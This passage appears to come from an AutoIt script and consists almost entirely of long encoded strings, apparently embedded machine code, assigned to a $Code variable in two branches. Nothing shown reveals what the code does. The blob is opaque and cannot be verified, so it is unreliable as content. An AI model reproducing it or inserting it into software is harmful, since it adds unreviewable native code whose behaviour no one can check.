JArGwaOJSio1dJxaCIqEHPDVMIi8wKYWQxgmzliyxsq6/kpgMcPuJDrApPuE8NLcG8x+NQb1Pz1fs6FN7SZ824RMCcDIUugQxyTFEaEp5O8lJBNZ5A//kFL9Nu8MWYOX4siU9EfgZRT4JvE1sFdo0av6ZPijVSKAoiZBF4QUCbz+BIyIWDzOSbJ01FoWxLKMed6k9sqBFnNJPOLNRjOSvsldFjP+0SQU6RZP9BbIGKRIsvbLysVuK/si2ZIL4UUZHm3C' $Code&='xiP7BzgzBuxCQygj5BHpe4KN1gmNyDHhRiUFNHnnpyaR75QViMzE/AjnMlnpSvYNyHDx7HVFTBXMifkZ/gTZjBLhWknXAMm6DWQ5KEpwtagdanSkzbTrmHgocnybHKLmlYIYbUgT9NocZODYzhzIzaoIogVNG5HtlAXixcRKpAVG4MjoyRQaQ+AkxAV1MlnoahqUBfMLI/gUyK13kvPUsQGI+LQa8/8qYPykBEhkAchokWyPiHAgy/xHtMVpHgeB6NkzB/VJT86VBlyZviwSyg21KyUKJgernEqXSDYRYJZEJAREUInFJQ9IBVTJdP8EBVjyXwkzBIhhqM5rCABGNxzCFFit7HJkwXpJXAhO1RWVkJRn2DoY2SOoxqQ8IKq3XObi5mhc1CKUBVghpc2dkk7yKALili3I2xfSZNzsnpVPJcoeB2jFUzCGweoHjjMUUgnSNizVkQxKwnKiymSPsh7vRQqFG1vLOyk04PkyFOoGwDWYElLh9VIAaID4TvfFFvE+EvxIFP0CzAJuRRkYCRL5TDKoZvp88sONoffznCneFkLJklJGNklGuxFE6WZKqgZMH2rNkeqh90TRLMmFpqntL5dJwGQJLffOWjsoSjD7UzT3ITjkyw93cMgc5Dwo2YVkxVzhEeWi7RpK83EczFjqk/DxzgzmpSOlGVnSCUnGzqTpyLNiN/Jl2Unt6leGOxnuyhe6+WbQKYSrvIY62eIkIFOoA5G9NMD5RmUa+uyiZE7XkvUo0aoQuCD7LYJDZsMQizy4E3osxGrgJt+wcp6vm/8rJyIYmsaJyMfIScTFIP1Bnp0hIc+1IlYPkoXO4WE51tEmiO5pyj8LrohR6UwO91FBUzyeVeo9npo56dzNE9tbLcX/qa7jyiwmFOVl1/lnQOUY0BjeEKRCfJXB4VhS3BxCHPO+EqDJ+JJU4vDQuLT0RcqJ9U3hV/PbFuNABMiJwsrYMWbWBtOvZQwe86yVTpc21RrzTNe4wNeOUJbe4FvC62nx3wv' & _ 'B5cRgQMUB1grZ3IUSiarA468vaTHa5RjFjO8LeoCqxIxHYSPkEcSd4W9QFKLIK45JcVrNJAcriJQMB4oNK71AikbMfUQTEr6Fe/UyBxH7hqwBu0nRlcotJZJtgswBwEjGMcY5ifAS8yUy7OMS2opL2xjrBsAxHNiJx5PDEAMdsu8RPO7LVjoM/6b7gy3CqY9q2U7wejIQwHYBkviG0BZs0H4UiS+CsJCqeReIFsFD5yLHVBQGFZFLNnqQaPjAZiGbhMHrBxIEFY9AADMoWI0cZlsG2+CwMJg3WCXI5CKnyTpiUQXFwdrcWNvSIq75keLxY75bGbpM2EmmFKCHQPfwpc4zpchAFKW0ikGW+ChXFOhfdx8siFL5ozCWEiRIec/NGKw2atMuIetBIL+xY+Ix7ZHDyVy6yyCJ3oeeSJxImpfyknXiNEPqFhRSGUAN0nOAIMpay5aaWkvel8K07uLuL9ZmPUreTb3pH2XHDUQJUYmOibJ6m5SWe+Wpzk0jK9GzIqqWCuXsWrFkG7N13OUEbdUM00fKR0SXTUouJr9TX86JBf9mqfziGE7rKAnOmg9R23oMq/OkgJctZ7qXVuHdgQje26immry7HRRFmtB57Qd26j8Z2U7eSR2nMsLEzqucQkvC6/UEvyC2pFiykpSh47pRb7IRY/FRzxLPlaYbO+V8RJaIFeOnfYIruIam+9Fti5EjkqCa5cMYcEG8aqVK/VtN2xJI8kQ72DUzrSmLfiJKVKmuEQfPOiZ2bHIz0SOSW1/T1PqPlmbunssyLGyZi5vdspZpYFk0JcI7FqPNI8DOLPekKqeI8WThaOmMWix08FyK6nLxJjcpwZ8pLqcJVeqvWdkgqDYzfEgjsplfqGLR+b9+EPDI4NJk2LZr6MZkxzSolumx9g3/REiCyKab1PsmcdCxo5kq+CJOf6arxBaLfBpR9wlFwWVJIcTi+YQlq4okp8mqZS7yaYSwRAj3CQo8W3+INLARziDxQP7uhFP2FiEYpcISOu/9r0D/ae8JgeVzaQV2' $Code&='Ae1k9bBc9ZyBaWJ6W5qzYxxCMS5lVDERD6916aET+0TlLO2Gbc3rBFgA/aguie6pi0E5jiT1E6Vk+oPgNUvpHREJlFUjejbcShPfi1wi3vsCupR+WO1Exn4EvbPjFmRnnBbRfEkz6SLVIMgvmphmElScB4pDgBGChGyaUyyQFqFa+3sWcuHVl7kot/w7MxqoQCeCSsA6InAI3ntu8gUIif2916YigZ70IQM0gYFT5PCaswK2weyb9NNkLQnk4v+G3+X05zzHVhiI7WnFx77uRvlS7iJTyfU6nC7QM6MSJ+GR0PE6JgYr1DN1bU90tmwQxKI3qE6qRPH1z5tFHCQ2SSAzSKlIiBViQYwsDlp6cJFTktr46S0sxszzGSoEuUJ8oKX39jxJJCMf7xjS/1MlybVHH2aoGEjrHhGiORB4DKDvid2RRSsixO8N/OJFOD8iQtpSJpDRpS0uFe9tMf35JjNC2FM3QttSO5DJ1pcG6FHlCyHtlv3NAUwu745DzyH5NRxxJkpgIyNb0izaQgJfiigZYlpoSR1sGFCUYo9CVCvf8g3UQB7VG+GHOAn+FWoZNNaOPaVSDypAlAHrWwl47zIAqQm6eLoDBN9YzXD1zyYHfJVmukNAPVJIpqViCkhJCEy/J8Qg3REkMW6p8zcbiGw3RBQr9CSrny6UIdC2pI8uQbMiMrkEziTUU9I0cdUkUD7dSEH8iWveIMLZRUYRMIk0MT84GDyVK1MKcDqoLkn2PCUkdHesda8WbpVsFbGGr5hHOzaIcBiEvkOQ/qj+lUlM99+kqST9l97v9coEn70Cp/Tx6APXF58il+daK6J+qRN7J0TuYTR2AvRWMm77WTKm5hLsif9KTy7KNyF4zAh4SozhImSRZJssPtJ8ejCgNUoo3zBnQQA1ADNoHE5YiE3LzSwslVkmIIL7kygl2A5Nz2KLGGnY2SQrHLbc0y9Ay2MLXx3SswQFyemmbi5LxdClZCqg7atGhGoEbk9iDIf8DwyVUjG+UNk' & _ 'EKi5AJ1gFQnHpIIjmxMY3aFvUD7IRZFMHSgYoSCGVBAZfW0ISIUrkreYZtxzvXgiKFmESiZroKjIPeVQ6xOdixzO8LeoCuuwdZMUkt7AtJeXtEMDCxYnoBCW4b+f4S8aVSPj6f+THtFskSdHpDAxbSYSb81paxem4UC366+ElXOhORJWJSHE6LxGh+I8ZiYIXtkciF0YWyBTEFSjVygbQsi+WTkXtLikDHrLy1zRC+8jLkdCi2DnUGElEGxqVtMn1GBmFJeGCyF6yosMR4xoh668kqM9i3wT7CvyyRMMizCTIMthVGZfgSbLwiYL/GGlEHx6XNNFGHCEdSdCgaOjgsnHvCTP2SsIL+EIhVKlyYKTGMcKvMzBYVrPZxRLlHkLtXohy6YbtP09ky6n5JAH4mGbolax+Cs2RZJrIFASx3EpMiiVJt6hSZTR8EhbpPd1ts2Q8zekz0qUnO20mrSXq9jLMC8fbRIox9s6vg5h0JN3ZvRXalLjoAYSJ/cgB/K29LMKjwCzNKbhovqViGFRE1EfxeazmsmSK5fFWk9yyPy/MhnNEL5eEE8CogOQQsrFBsHgP9eIOXB0kRIHJQWZASXUGq+GErtTja6wz0L2s0IZWb1x0SN3QjSvxiqUEoP2igCjdpYmNQKUc4sk0i5W92qCmgqoSFzKuJXRAUq51KdbLqEvOjdkMct/295eTlyoQz3KB67o7JhBa0kyl2AxQ44yK3ynbWbFUlZQ4c96lr+lSkY6zWvG1pHojL8+05Q6gYANR/p95LUhBkrS/zpg+2GU1ibKdkoB+mCVqKkd1J+qOUHOflIiftJnzDMOKFa1O0Ijjel5Tegai3zyVHxUnwp9UFszS39ZW8YC8oFuVhu8JYgxZJhLZ42BoH65NSwfArDxU/jzIMRBpW7ki2fc6cDyJirCVZFf00sktPHkPaXG0dImKRE6xzTOZf3VgNOa4mdoGCv91kjziaozTituXrZeQoZ2noDqeF0KatPmANB6oKyvhtr3KV7nX9JlKvFwZ70nJe8AQ' $Code&='ytOjdKTpI5pI1IIU0bH4HIXEyQjTKEJSHLHIyhDaIfq+Q3ps6SGw7526oixbLJKdmqGUvkhDMSz/WZLZuBykpXysMIsS2Thzz4H5KsSHuLe5KKreoz9A2bx7ROkU1ErC5/ll2S/EaJGpOkksf5mWrcGB6XsidIp2i5pJUu1JpcASuEWB/QH4KwoZPLibCDNoKu/BlyUS/zIWGCuRXXSnvkJu0wKmcaXO/4EbOBl6NkUkRTHVi6MvL2oTlfYYkSzJ8xNamt78g1HmDiP2N/w14fiGzf5ZJU5sOCj3q070UwHkS97KJwyoSXDX/WxotA27MwrydEu0NrlXJyDi4YUlCKtne7ocNUODm+9VrlZCNrp07aHNLBARrHpOqqOJKOcrnQ2a+FYWTE/54g/LCMSNXv12ckZe/z2E6i5o8JPzpMsg+QS22E6MJgFO/9Qi6CCy+ATEC8fR5hPkzwYh7K863PyIGeZO528/1S335dAU/LFsEJ/jlyT9zwnzShNhZjPaxIw0zBAzwnCQKZmP2lP3PFo3owpQJUif7hOfxi6fzCvNVvVRLwng76tj4sUN6iAwO4sqJLhReDN4sNIlBligKWX8YJfOjsxs9GTul82QNCddjurIlq9SBJDmkuyJrxZTZQRS8hECyxCJ+E7cW+aFkPbk7HxK8AzBph2bTCRaRebZPEK+CH4B62v3m85kZarxhJ+SFBh86xBEL8Rq3UY+WsiCNMx+JZA4G/SJOyJDQL7av6VkIl6igGYdRYSVQUAhZJVM1CKUHtI7x3Y8S/rqnYQm+bo0DFT4WIg4kIySiWmm4I0MNIAYBEqI495ExfiVz/Q+bS2KOwuU8FkOp8Rlh+elWPbLl0hZG2jkL8STZMwGyNRIrjkkalIRG0thJqTLT1Ip2CtP+LiXTWpKK6+b2b5ZpGfyyJtTIpxRCFNE+STMTb3DMTJ2ISATPFNWoUh8wM50kqK+JHhARTwJHhyTYuhKfEWTVD/A7ppRifbFJjpC/Exj0GVKiPS' & _ 'ImFYgSifycCQMWCdv0ugbrU8nfofkGCT1L0orb1mSPy9XLVMq7TRBDJMupGakNWTmiSIk1kyTPCdSjNIbvOPcty3mZAtCi1EMPVViTmJgXQkmLTwbcip7Tc9W0jU0Uh68P1ixWKfEcmzVdI+PSE6kmRIiUq3h8zZUtI5Q0lQ5JKuSbU4mS1UYIkp1XQiYicO6UUVORFBiVDFYCohcfYj8JE+R60xxr0lCvyFM+QgafYU8wn6RMSTYSjJPsyfV2bo+RjSxu5JixeisGH/yar6LE89aQUVMRfMZcbxx12Cv9pdCnlPelqiz1YtEW+dvUInwKSbUgVOx5X8UmVN0oe2Q1bmjZOivIiXFWd4T4eNXyOlru570lklOT82a4k7L3hkx9Q3kVM+aGi3pa+Uts8ts5UvzibwiHcYx6zf/YxJJRU4SKBZC+KCy5VjvkTTpxDWRNZbt/blO0YxKPG4o/UHSLwQ5wyIk+Kmk+Slayv6I9jLa9H5A0gRmGPxF07LW16JB2o93BPXw6mnVL83UKnSGWeSy7JMG6GtlST+JCLFs4JZg9o0EpXDZMxLwqWl+tH2viaoaPnkdksY0y4MGIDJ5TE7mX5F7+eua+9gz2RYwJHhgT7R5elsoEj+D6zgnjAjxdRL3WRksLGl7T7ZiJ/4e5Muq8dCk7oFO5y23bRol9mwzzaL9YATvLB3thJW5c/UC6EKTWfXyCcD2UmTGhtlSvEqg3H3rS/6ityLOUsPSNfMmjTXq+nyfqtT0xRToHJK8rFviCnfZFnXLYj5Q2epaILMSRdpvjvaT5VmnHMxZn8pk9zPKCc7MiQopOaRjBI09K9Gpegxq2bc+CGFY8RNqzgCsDUfezzzR4QzSA+iDEByCxmNUpQQc+HxQhIfudxSZIfZ7xY0I/3HyQg0c1mtQvYfebxSxIZHFxVQIYHEwQlAcAgFQA4fOZxSpIVYrxX0I53H+QhkctddQYodNqxTmIex2xZoIj3HKQkUcH4JQnZIcXVRABBz6fVCHj+8+kBWHslkU6yGO' $Code&='R8XJCPtx8EILHEGtUOyHs9QUZyFfosX9CEVxr0LqHCOcUL+HU6QU9yHkcsWWCJtxwEJbHHW3UMKH4f0UHCE9k8WuCExxJkJqHGw2UFqHfj8UQSH198UCCINxzEJPHGg0UFyHUaUU9CHR5cf0IfnxxQgI4nFxQpMcq9hQc4diMRRTISoVxT8ICHEEQgwclcdQUodGIxRlIZ3DxV4IMHEYQigcN5ZQoYcKBRQPIS+axbUIDnEHQgkcJBJQNosbBR6bBwTf4hQ9Ic3rxSYITnEnQmkcf7J/whzqdVCfhxIJFBshHYPFnghYcSxCdBw0GlAum6KKLYME3G6KshC0WuLuhDhboKH7DqRSKPZDdjuKTRC31uJhhDh9s6HODlIpKHtD3eOKPhBeL+JxhDgThKGXDqZTKPVDudGKaBOFNAHH/hUsBwRAIBRgIeP8xR8IeXGxQsgctltQ7YfUahS+IY3LxUYIZ/392QhycTlCSxyUSlDeh5hMFNQhsFjF6AiFcc9CShy70FBrh8XvFCohT6rF5QjtcftCFhyGQ1DFh5pNFNchZjPFVQgRcYVClByKRVDPh+n5FBAhBALFBgj+nYjLBA6gUCjwQ3g8ikQQJZ/iuoQ4S6ih4w6iUSjzQ12jiv4QgEDiwIQ4BY+hig4/kiitQyGdirwQcDjiSIQ48fWhBA5jvCjfQ3e2isEQr9ridYQ4QiGhYw4gECgwReWC8BqDBP3zig4Qv9LibYQ4gc2hTA4YDCgUQyYTijUQw+ziL4Q4vl+h4Q41lyiiQ4hEiswQLhfiOYQ4k8ShVw5VpyjyQ/x+ioIQej3iR4Q4yGShrA66XSjnQzIZiisQ5nPilYQ4wGChoA4ZgSiYQ55PitEQo9zif4Q4RCKhZg5UKih+RTvCxKuDBAuIioMQjEbiyoQ4x+6hKQ5ruCjTQygUijwQp97ieYQ4vF6h4g4WCygdQ63binYTu+CKOxBkMuJWhDh0OqFODhQKKB5DkkmK2xAMBuP6EEgk4myEOLh' & _ 'coeQOn8IoXUO904puEEOs4u+EOMRioaYOOZEoqEMxlYqkENPk4jeEOPJ5oYsJ1ecIEwQ+uMihQw5uNyhZQ9ptircQAY3ijIQ4sdWhZA6cTijSQ0mpiuAQ2GzitIQ4rFah+g7z9CgHQ8/qiiUQymXir4Q49Hqhjg5HrijpQxAIihgQb7ri1YSQoeKIoARKJeP+EFwu4nKEODgcoSQOV6Yo8UNztIrHEJfG4lGEOMvooSMOod0ofE/udCicQz4fiiEQlkvi3YQ4Yb2h3A4NiyiGQw+KioUQ4HDikIQ4fD6hQg5xtSjEQ8xmiqoQkEji2IQ4BgOhBQ739igBQxwOihIQwmHio4Q4ajWhXw6uVyj5Q2m5itAQF4bikYQ4mcGhWA46HSgnTq6eKLlD2eGKOBDr+OIThDgrmKGzDiIRKDND0mmKuxCp2eJwhDgHjqGJDjOUKKdDLZuKthA8HuIihDgVh6GSDsnpKCBP7s4oSUOqVYr/EFAo4niEOKXfoXoOA4woj0NZoYr4EAmJ4oCEOBoNoRcOZb8o2kPX5ooxEIRC4saEONBoobgOgkEow0MpmYqwEFot4neEOB4PoREOe7Aoy0OoVIr8EG274taEOCwWoToSY4RsCAR85HdyeznyHGuOR28jxZEwyAHkZ3IrOf4c145HqyN2kcrIguTJcn05+hxZjkdHI/CRrcjU5KJyrzmcHKSOR3IjwJG3yP3kk3ImOTYcP45H9yPMkTTIpeTlcvE5cRzYjkcxIxWRBMjH5CNywzkYHJaORwUjmpEHyBLkgHLiOescJ45HsiN1kQnIg+Qscho5GxxujkdaI6CRUsg75NZyszkpHOOORy8jhJFTyNHoAcXtMgQgOfwcsY5HWyNqkcvIvuQ5cko5TBxYjkfPI9CR78iq5PtyQzlNHDOOR4UjRZH5yALkf3JQOTwcn45HqCNRkaPIQOSPcpI5nRw4jkf1I7yRtsja5CFyEDn/HPOOR9IjzZEMyBPk7HJfOZccRI5HFyPEkafIfuQ9cmQ5XRwZjkdz' $Code&='I2CRgchP5NxyIjkqHJCOR4gjRpHuyLjkFHLeOV4cC45H2yPgkTLIOuQKckk5BhwkjkdcI8KR08is5GJykTmVHOSOR3kj55HIyDfkbXKNOdUcTo5HqSNskVbI9OTqcmU5ehyujkcII7qReMgl5C5yHDmmHLSOR8Yj6JHdyHTkH3JLOb0ci45HiiNwkT7IteRmckg5Axz2jkcOI2GRNchX5LlyhjnBHB2OR54j4ZH4yJjkEXJpOdkcjo5HlCObkR7Ih+Tpcs45VRwojkffI4yRociJ5A1yvznmHEKOR2gjQZGZyC3kD3KwOVQcu45HFhJdw/IHBlH0p1AJBFJ+QWVTQAkaF6TDiGo6ESdelgLVO6tryyAwH51FRPE2H6z6WKIEpUvjA5NDOCAw6lUgv612bUT2QDyIzKKRBKP1AkwlQJ5P5df8iIHFPCrLxPMIJjVEgL4EtWKjj0D73rFaSYh8JRG6G2cC40XqDpggOV3+wEThggjDL3UCgZuBTPASF+CNRpejiP9rEdP5xgKHA49f5yA0FZKcRJWOCL9teuufQ0RSWdpARNS+gy2IxFgRdCHTAt5J4GkpIOmOychERMsIdcKJao9U9KR5eEB7mVg+a4iUJxG5cd0CMr7hT7YgpvCIrUQXwgjJIKxmgSN9zjq0ED1j3yJKGATu5RoxgkBMl1EzYIiVYhFTf0UCC7Fkd+AgQrtrrkSE+gj+gaAcgcP5CCuUEE5wSCJoWPyPEUX9GQIulN5shyChUnv4RLdmCKtz0yOBKHJLAuIQ2eMfIo9XBCRmVasqTrIi6ygHIHYvtcJEA1sIhsV7moGi0zcIpRBJMCgih/IfbSO/0bICiwIDarog0e0WgkRcJQiKzxwrgXKnebSSEPjzByLy8AT2TmnioUBkZdr0zYiGBhEFvtUCaNE0Yh8gmMSm/kSKFv4uIlOdBNSi81WgQKQFiuEyiVzk9utEdcwIC4PsOYFdQGDvqhBlXnEinwYEtr1uEFFAkj4hivmIbJYR3QY' & _ '9O3D9IgWuBEhN5r1GQFCRVI21iP1xEcRdBQLtBAbUbyC5YFAVRP/aCBmY+ySBXta96ZcQFYlAIkPMBEZn2Z53QFew6EK9iKcHEYmLiAKN5xlbOCCdecjuRNuECKF8CkedkMRCD+lA2PiEHsmJqz2PwQmAhoOBCYwyK+1IELweESJwrATTbFpyTkAK/Q7/+4j3DxGFOFYC5D2u1R4gWDYtOUQnBQgKD9lkgbhoXKYhELObWyJU0QRFJDYuOkAGDApnsYjQkxFX5w8CLLTultIgHhubkUSejwiAwMVPgcph3CCiED9adyJLaQQPHBIaFlIDFZO6CgIJwcCgKuUgrzwi4ERDvQgSGxcdgQMOCQ0LEAHyiyLHrQQTLbaouUCKFB6pyIhrVxHxGYUCOq91B0wgke6Z3US7EQijf2D9gUH3ASafEE9cciL1vARnRGY7xUDcW/t+NIjqixFDKXYCl8sjxtwg8rbt/ERozwi45PFjgc7XMdzKEfBC+IUQiLQTEZciQALmhMYRICBzhUokRX0A9bs9+MAJrK75MhGIdMcRKaFtAiIdni9LIOfcsjBE860IDYZS7IE1d8Hj0BCFK7MiFmwE4qlwuZlA+RGUSPqIN0cR6WQiAuio/IzEIByg8D9EGnUIVn0s2IHfIjOQ7xBuh0kiTscER9k40cFA8YzKov6IGpgR1As2AnGm9YHPIB2let5EKCkI2reOJoHFP62/pBCJLDoineQEb1B4kg1At2pfzJuIYlQhfkYBDvaNE8IQqpDYIrjoBBguOfdeS76D2a/1Bwkbn12AyIn8aYYCfAkEVm/VLalAPs8lErOIS8gRrJk7AsYQGH2nINLonGNEbnkI2zu7e4EgzSZ4CRCablkiGPQ92+wRtwEPwINPKKiB/uaVbmUQeKr/9H6IzSERvM8IB1rvFejYgfS655vZEB9KbyI2zgTd6p8J1ECoKbB81ogzMRGksq8HiCo/I7iBB8allDAQxzWiImbABDF0Trw3QLH8gsqmiBLgEZDQsAIQM6fYFSBZ' $Code&='8QSYREonCEHs2veBgH/NUA4X4BeR9i+IX3YRTdaNB2BD77Coh1HMqtRUQH/klgTfiKmeEdG14wIZTGqIGy+hwSwfuBBKRmUiUX8EDZ1e6gRALQGMNV2I5foRh3RzAnr7C0EuIJ+zZx1EWpMIktvSUoHJ6RBWMxCcbdYiRxME75rXYYxAoDehDHqI4FkR+BSOAjvrEzyJIE3OqSdE7q4It2HJNYEq4Rzl7RD1ekcisTwEsJzS31lAyFXycz+I6xgRFM55P7sIxze/gTxT983qEINf/SKqW/7fET1vFAKZeETbhiBhyq/zRIEXCLloxD6BKzgkNCwQBMKjIkBfBH4WHcNyQLq84iUMiHcoETxJiwLW/w2VQSAmOagBRHHhCAgMs96Badi05JwQFGRWIsGQBGN7y4RhQFXVMrZwiCFIEWxcdAIM0LhXQiR9qcfSpw9fdVend0rd5yt0D6nv152POafXnb95z9PdZ23f151/LnUP92dLnX8qdSf3v0udFz1n0qc/XnTP929K3Yc9n9fdt3mv152neQ/T3Z8qdDf3H0ud9z3f150Xaf/W3e8rdafn5150f6ln1t3veW/T3bcudM+t39bdz22P1t13aQ/W3QdpN9adh3mH0rfPS91PK3QXvQfXnb95T9bdfyt1b7fvS90XbQfW3Wd9v9bdR2l31t0naUfS939L3Wd9H9L3J191/+ePSp2vKnXf58dedQ+390rdPy90n7kX1t3fKnXv999L3VcqdRfnD0qdn31P0rdPS52HKnRXvafTp6dGAVt0p61v193vKnQn6RfX3d8udGe9r9Knl0vdFy50N6lX0ueHS91/eU/S5wdO3Sc6dYe330udb3nf06f3X3Vv9zdO3Z8rdd/3f07d1yp096mv153/eV/St5dO3d8rdJ+pZ9LnH0+dLy91X+f/Tt2vKnU/589LnQc6dN+tP9KnR0rd/yt0J+3v193vL3SH6e/S94dK3UcqdJ+px9On9190f+nX0+dXTt23OnT/7b/SpzdOnc8+df/3r0/dFz50T63/0qenTp1XO3TP6afTt19Ond8rdMetD9K3P0rdby90t7k/07cfT50PLnTX+d/T939K3d8vdO/tx9LnL0rdryt0x+mf06fvS91vPnRv+a/T589O3Zc+dIfpd9P3t0+dfz50n+lf9OkH07cPTt0/LnTn6TfS5x9O3dcrdCep99P3f0ud7zt0b/3X1qdfWp0XO3T3+c/Tpw9Pnc87dPe9N9Onh07dfyt0X72/0/dvSt1nO3T3/V/T5+9K3a8udL/tT9a3N1qdFzt0T72n1refT91nanSnucfS569Onf9rdN+5f9PnF07d72t0Z7gHLkAj5QIyewhOw04gYtOAbqtwNq0BRliO1nniUZGqW4pFWWZbijkpMGuVZ+7SVqLiHZKFxrgRosm6nlgytZT9ska1lPGU4i1l5S1k3bWc1Vv9jsktNse9FszjsYvlcaXF2LiZ4gTcjXHDbjiBBbccdVsSjmkt68ddFnXjUYsscUXFbrg54lLcLXGzbjghL7ccFVvRjgktIGf9Fluz8Yu+WeXFTKzZ4tDWzXH7azjBM7WctVr5zqktUGedFqizkYtAWYXFnax54rzWbXEhazhh87WcVVoMzkktX2c9FhezMYt+WSXFXawZ4mDWDXHcazgBkLUc9Vrujukt3kfdFtuj0Ys6UcXFBqi54sLUrXFiajih5LUclVrIjoktjUd9FqmjcYv0UWXFeqhZ4rrUTXEuajhBtLUcNVrdjiktS0cdFoqjEYu1UQXEA/z54mF+7XG5PzjhHZ+c1U/4zsknaee9E5TzsYmH+aXEVfyZ4ox+jXENPziBQp+cdU+ZzmknsOddFxY2BwA=' Else Local $Code='magAAIcA24PsHItEJCBmiQgIEUQoBIvvjt8H6EMQDgGDxBzCig6HySfWIWgcZNJvEAE3svY3iPFiUAnAhEFUFhsQaAwYK01OAA8I6BxXDSsj2/kPxhaJyyyZPzBXNBIQJDw5Ajo4ojNwChEsCNKF+fTuFkL2/M1CBsj/X4gSA1nkC/MrhCztkXxKbJwGIUwlBBvGgPIhgDHAw3RVCu1XVlNcMy5Qo1yjQMN0x6ybSBQPtrgkB4X/dFNH0tGOgQK+gXjyj2F4E4tMJMsdcIl8gBgB+esEORjqfiNcA4N9xebH5jLMCsMGwfaIZwajGMfG9412BXIN+A9+2dqegBAalAxAHyHHHYnQKcPB+ASF8A+EDv+GovbDAxJEkY14RTM5wtz6aPW/vjIITKHWGOmzFshABxA2MgO2FGZH0kPIdkbIFQI5wdokAxzg7RIEDnB2iQUHODtEBoOcHaJBB84O0SAI5wdokAlzg7RICjnB2iQLHODtEgwOcHaJDQc4O0QOg5wdovsHavYbEBo7DMZSwkX6AsRCqs9VSMiopUE8NAHoTdw2QvQYMf8CuAGTqgFbXl9dwyYd1VEkcniSQEZwf+YafpBI4XGVa8jVRMcIw0TFZVtnWUNORsXruFR+PiwUfORM3C/oVFaGi9AxihR0oYbF6XVRkC4F+oiQ8maXmIaZGPfGAyEPhTNj/kT2fonIFlirqJpScbSoPeszSKSdnwNk/yiF+weIMhIIDnB2gQwHOS0pGOZHKQp+HYspJc9xELcLgXS16dqU04teb7Wt5xshdNy2/dIOKLQ8iWASUCRUzrAyXS9YSWaORK2ctEPzFipNXLTA+OsGOWzGRn4naFETriOxUFGJJtEyCxIOXUpUEHB5TMC6d0AV+oHTG0FdIrzInFAgAozZO/CGJvo2XJEIQUyV6yzIfNypycICJYYYFB66PQOpVN22QkpkIDoECAWpBQYo6QyJmVWoLgfCMheIFimprwzynRjPIRHKVqc+5CMCSB' & _ 'zPcMgDkSCe4ZEEcYz3DAWJKBnuGQadG1d2HAZ7R8gfB06weIPcSAhOsHiD3EgJTrB4g9xICk6weIPcSAtOsHiD3EgMTrB4g9xIDU6weIPcSA5OsHiD3FMkQh4S4JlHNyqZFlBCe0C2YJklT3EWkglhStj+CyE8epHncTQUR7FMFeQPJN59SRYEQtAhx5HFp+XAjFPbjxKvNNOVdkukBBNXwhTBTwdMi3RZokueIzFE+YjGzEtHPMTU/TJcJ8m4yOdlTxA65ylcZKQ3RCAxwQQCCIaRDOtEGBySAfLr6IuZHTq3F2XgMcKJFuQH+WVv5DMR9yHp6oYpASCYcx4KMcFUTqYzAiUc7Y19CRMygWgse2N+LSw/YIPRNM4YnOlGoTwsrLJ/wvH8pxAglKJTO4hCvkyM41r6TCTJCAZR/WIqGgw6dhnO+ieHJSG2QV2I2IWNRJOCxvSyP0LUTYm4X4Ue72HkSV9dQmxyTA4CiRwCAyQgCAS/wAWxnD201xvCc+xZZO76/AxyIAKWaaUOYbkfHA32E8RIIGQDJ1i4wyEEOsQohkIFSil/2lmC77LPhX2WiHvss4vfZZ6O+yyR99lnlL7LPZf2W5rNEiid8lgEbCV89T9ZBlOI+FSippLzmahPm1UYc9SS3FnEVEstC5MpiZfFChId258liLShS994539YuSrC+oiQPJtipTm5GAoQnQWyiDFZFMpYEQX+LMJWkfyniKjoTQgEiwwTVPFKBCPyHRzrJbKuZjD3LLQlAa6zstO1Ak0UN9KXuulsufH374k0R2ri50dnTOQUmks99FyyyxQZRLAVNEPCRrgwNP2BVWM7AmyLrCSIrr7unOqABx+8kISPtMiMhPfFD+N8ROvBJv0E4GRkRoXtEO4CgY0wd4P3Mt40MBSI0DjIDgWQQCIGQEgHiVACCCRYCAmQNCIKQDwLi8wIDJBMIg1AVA70VqFQXAMP6k7EMUssQaPrJ4sGrOhhs81Hn82h25/NdXDWhFV5kFUaHPPqi6j8MAazKCY1PTcCDU7W' $Code&='Jzi9Fb40RDiJBFIKQCQFMkgkBjJQJAcyWCQIMjQkCTI8JAoyRCQLMkwkDDfIkA3IXJAOyCy+xIT0kLZRpST5dJKlNNGNiU8DGaUoMvQQG/9IgCZsVWu0rSCQ/qRwcJGESARtxFYIlzjSTf/mxGQsJziQ/DTrIJAmkk6w7acpQHRUg+mRCr+LBCsxwxuvftSh2xVoRHucSBKROA8MAe+UtbQ8sZ5CAoF0lOlOWbI3MklOgxyLdDODfM1sQKbCD4h1NwDB/gSF9nQ9gwLuATHb6wpLrCIdL9KVBQdUHQXWBB8Xx41ILVkQOQKGdNe4SBwO5huHaZI8JqPLvDK9RdrBeA8D8BNfwfpjqPGESNIYd4mD6uqNljSSlYlhRus+6kaYH3NDyA8COcQDg5xIBDnEBYOcSAY5xAeDnEgIOcQJg5xICjnEC4OcSAw5xA2DnEgOOcXqCJMW0hbiiYtoiNaNhTXEA5jfhFSuSLuQnhyLRSS1usN7hvkJZ4dYAiRcH5IsYYRmDXODJRwkKTCMgzyZNXOy/yHSdH5c+etMORoTMQNdFVBDmwycCAw51p6hdEVbmqHMDAoFdJDpZWSbjh6sZ0cMtsoyFIm6EKSXDNK5CFITyusY/zsyXhJOg71WDEv5CTe9kSszR9wzXQSxTQjkVQwagf+gJYRTdpZBGEPAEL4BiOCFdAq4XtDE6cELjbUR8ot1hZp9DMEYr5jpVxjoUYOdNK/OGO7OtNwbBHvS74QKDCDqX1Yo6DohIDyudux2vIxQ6woIhB7oiyyfwc0QJRiPxgnYTOqp3BQzrJ4njd4VCEjaPYucUjEe1TOUlh6P0E8cQ8HoEJvpIGnR+VggvIEMDF6gnbSCi6qXkRvUvXZQG185iegl8YgVyisGIdbQe4KP4mSCP3DegY34pYGP4o6BP3EIHqHPgB/EuIB+4TKAG/H5fx/E4n9+4Vx/G/IjFU8x+8SGfm/ETX5/ETZ++4SwfW/Pd3H8YEd97hHafL8RoXz8ikd87iM' & _ 